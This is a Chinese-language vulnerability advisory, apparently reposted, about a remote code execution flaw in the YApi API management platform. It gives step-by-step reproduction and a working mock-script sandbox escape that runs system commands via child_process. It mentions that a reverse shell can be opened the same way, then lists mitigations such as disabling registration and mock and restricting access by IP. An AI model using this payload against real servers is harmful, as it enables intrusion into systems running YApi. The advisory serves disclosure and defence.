YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。近日,网络上爆出 YApi 的远程代码执行 0day 漏洞,漏洞等级为高危,且正被广泛利用。攻击者通过注册用户后,即可通过Mock功能远程执行任意代码。因为大量用户使用YApi的默认配置并允许从外部网络访问YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。docker部署:
https://github.com/Ryan-Miao/docker-yapi
1.注册用户
2.添加项目
访问/add-project
3.添加接口
4.设置mock
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()
5.查看Mock地址
7.同理,也可利用命令反弹shell
1、关闭YApi用户注册功能;修改完成后,重启YApi服务
在"config.json"添加"closeRegister:true"配置项:
{
"port": "*****",
"closeRegister":true
}
在"config.json"中添加"mock: false";"exts/yapi-plugin-andvanced-mock/server.js"中找到
if (caseData&&caseData.case_enable{...}
if(!yapi.WEBCONFIG.mock) {return false;}
安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;
4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650517808&idx=3&sn=5ca91e92372adc000447f198e9279e81&chksm=83bad4d4b4cd5dc23aa62502e2e5c486e66327e9f43d3c34d50a6aa18b7ef746b9c66380c1a8#rd
如有侵权请联系:admin#unsafe.sh